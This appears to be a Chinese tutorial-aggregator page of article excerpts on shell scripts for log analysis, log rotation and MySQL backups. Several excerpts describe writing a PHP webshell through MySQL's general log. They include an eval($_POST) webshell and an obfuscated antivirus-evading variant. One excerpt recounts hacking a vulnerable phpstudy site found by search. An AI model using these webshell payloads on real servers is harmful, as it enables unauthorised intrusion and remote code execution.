【linux下删除7天前日志的代码(php+shell)_php技巧】教程文章相关的互联网学习教程文章

Nginx服务整理日志分析(shell+python)的两种方法

python脚本log_format main ‘$remote_addr – $remote_user [$time_iso8601] “$request” ‘‘$status $body_bytes_sent “$http_referer” ‘‘”$http_user_agent” “$http_x_forwarded_for” ‘‘ “$upstream_addr” “$upstream_status” “$request_time"`;cat website.access.log| awk ‘{print $(NF)}’ | awk -F “\”” ‘{print $2′}>a.txtpaste -d ” ” website.access.log a.txt > b.txtcat b.txt |awk ‘($NF>...

监控PHP进程和异常日志检查的shell

监控PHP进程和错误日志检查的shell1:在做一些异步处理的时候,难免会有程序挂掉的情况,此shell可用来监听队列处理的PHP脚本进程,如果该进程死掉将重启。 #!/bin/bashprocess=`ps -ef|grep /www/project/handle.php|grep -v grep|wc -l`if [ $process -eq 0 ];then /usr/bin/php /www/project/handle.php #此处也可以记录下日志,了解挂掉的情况 fi 2:实际开发中各层或系统之间的接口交互是不可避免的,然而对于一些核心交互记录...

Shell: extract more from listener.log (分析oracle监听日志)【代码】【图】

最近遇到了两起数据库连接数不足的问题, 通常都会预留一些会话增加的情况, 但在一些特殊情况下如连接风暴(logon storm), 如果在监听中没有做rate限流,对数据库来说巨大的冲击可能会导致数据库Hang 或 ora-20 或ora-18 错误。 对于Hang并伴有进程数不足的情况,AWR、ASH 都可能无法升成,甚至数据库都无法登录或做SSD 都不成功, 这时候LISTENER.LOG 就成了“破案”时关键的线索。 下面记录分享一些分析listener.log的一些脚本....

mysql自动备份脚本,MySQLdump+shell+crontab模式(附备份记录日志)【代码】

1.MySQL备份脚本 [root@localhost ~]# mkdir -p /root/data/backup #备份文件存放于此路径下 [root@localhost ~]# vim /root/mysql.back.sh #!/bin/bash backup_path="/root/data/backup" user="root" passwd="123456" dbname="test" host="localhost" today=`date +"%Y%m%d-%H%M%S"` sqlname=$dbname$today.sql if [ -e /root/data/log_function.sh ] then source /root/data/log_function.sh else echo -e "\033[41;37m /root/da...

常用的shell(备份数据库、备份网站、切割访问日志)【代码】

!/bin/bash /bin/tar czf /mnt/backup_website/web_$(date +%Y%m%d_%H%M%S).gz.tar /mnt/wwwroot/web cd /mnt/backup_website find . -mtime +1 -name "*20[1-9][3-9]*" | xargs rm -f exit 0 备份数据库#!/bin/bash /bin/tar czf /mnt/backup_website/newjiagu_$(date +%Y%m%d_%H%M%S).gz.tar /mnt/wwwroot/newjiagu cd /mnt/backup_website find . -mtime +1 -name "*20[1-9][3-9]*" | xargs rm -f exit 0 [root@iZ23c93ivn4Z s...

利用mysql数据库日志文件获得webshell【图】

查看配置 show variables like ‘%general%‘;开启日志功能 set GLOBAL general_log=‘ON‘; 设置日志存储路径 SET GLOBAL general_log_file=‘C:/phpStudy/www/xxx.php‘;执行sql语句,写入日志文件成功写入 利用mysql数据库日志文件获得webshell标签:sql 写入 数据 www info phpstudy com log 开启 本文系统来源:https://www.cnblogs.com/mrhonest/p/11769701.html

django+nginx+xshell简易日志查询,接上<关于《rsyslog+mysql+loganalyzer搭建日志服务器<个人笔记>》的反思>

"""2 Django settings for searchlog project.3 4 Generated by ‘django-admin startproject‘ using Django 1.8.7.5 6 For more information on this file, see7 https://docs.djangoproject.com/en/1.8/topics/settings/8 9 For the full list of settings and their values, see10 https://docs.djangoproject.com/en/1.8/ref/settings/11 """12 13 # Build paths inside the project like this: os.path.join(BASE_DIR, ...)1...

SHELL脚本监控oracle alert日志【代码】

思路:按alert日志行号取当前最后一行和上一次扫描的行对比 大于等于上一次扫描的行 就从上一次扫描的行开始 扫描到最后一行#!/bin/bash scriptHome=`dirname $0` scriptName=`basename $0` logDir=$scriptHome/logs #logfile=$logDir/$scriptName_$(date "+%Y%m%d").log logfile=$logDir/ora-error.log runfile=$logDir/run.log alertLogFile=/u01/app/oracle/diag/rdbms/orcl/orcl/trace/alert_orcl.log ip=`ifconfig | sed ‘2q...

shell分析nginx access log日志

统计访问最多的ip1. tail -n 10000 xxaccess_log | cut -d " " -f 1 |sort|uniq -c|sort -rn|head -10 |more2.tail -n 10000 xx-access_log | awk ‘{print $1}‘|sort|uniq -c|sort -rn|head -10 | more统计访问最多的urltail -n 10000 xx-access_log |awk ‘{print $7}‘| sort|uniq -c| sort -rn| head -10 | more指定ip统计访问最多的urltail -n 1000 xx-access_log | grep ‘00.00.00.00’|awk ‘{print $7}‘| sort|uniq -c...

(实战)phpstudy的漏洞+数据库日志写shell【代码】【图】

——真正的才智是刚毅的志向。 今天没学多少东西,直到下午在看别人的文章的时候看到了phpstudy0day的关键词,好奇就查了查。其实这个洞有一段时间了,然后就准备google试试还能不能找到有洞的网站,直接google搜phpstudy 探针 2014。结果是这样的 ,我不得不感叹google太强了。前几页我就不打算看了,基本上已经被日穿了,或者洞补了。所以干脆向后面翻,说实话运气很重要,我刚尝试了第一个网站就成了。 首先,点开网站是这样的...

SQL语句利用日志写shell【代码】

查看配置set global general_log = on; #开启general log模式set global general_log_file = ‘/var/www/html/1.php‘; #设置日志目录为shell地址select ‘<?php eval($_POST[cmd]);?>‘ #写入shellSQL查询免杀shell的语句SELECT "<?php $p = array(‘f‘=>‘a‘,‘pffff‘=>‘s‘,‘e‘=>‘fffff‘,‘lfaaaa‘=>‘r‘,‘nnnnn‘=>‘t‘);$a = array_keys($p);$_=$p[‘pffff‘].$p[‘pffff‘].$a[2];$_= ‘a‘.$_.‘rt‘;$_(ba...

nodejs 定时调用shell脚本来备份数据库和日志文件并发送到邮箱【代码】

安装mailx,靠它来发送邮件 yum install mailx 编辑配置文件 vim /etc/mail.rc #添加如下内容set from=xxxx@163.com set smtp=smtp.163.com set smtp-auth-user=xx@qq.com set smtp-auth-password=xxx set smtp-auth=login---说明 from:对方收到邮件时显示的发件人 smtp:指定第三方发邮件的smtp服务器地址 set smtp-auth-user:第三方发邮件的用户名 set smtp-auth-password:用户名对应的密码,有些邮箱填的是授权码 smtp-auth:S...

mysql增量备份二进制日志shell脚本

#!/bin/bash #?Date:2017-10 #?Description:backup?mysql?binary?logs #?Version:0.1db_user="root" myisam_db="mysql" db_passwd="123456" host="localhost" export?PATH="/usr/local/mysql/bin:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin" backup_dir="/opt/backup/mysql/bin" log_file="/opt/backup/mysql/bin/bin_log_file.log" bin_index="/mydata/data/mysql-bin.index" data_dir="/mydata/da...

shell脚本--自动备份应用日志

[root@deploy scripts]# cat logs_bak_v2.sh #!/usr/bin/env bash # Description:查找两天前修改的应用日志,打包备份之后后删除 # DATE:2019-06-15# 加载系统函数 . /etc/init.d/functions# 加载环境变量 export PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin#自定义变量 DATE="`date +%F-%H-%M`" IP="`ifconfig |awk NR==2{print $2}`" ###需要适当改动 LOG_FILE="/tmp/backup.log" APP_LOGDIR="/opt/pa...

Shell-日志按天切割【代码】

1.创建shell脚本:#!/bin/bash apphome=/apppathif [ ! -d $apphome ]; thenexit 0 ficp $apphome/app.log $apphome/app.log.`date -d '-1 days' +%Y%m%d` echo "" > $apphome/app.log 运行后: 自动将当前的日志app.log复制为app.log.20190606;然后将app.log内容清空 2.定时任务每天凌晨执行: 1 0 * * * /shellpath/CutLog.sh > /dev/null & 每天00:01运行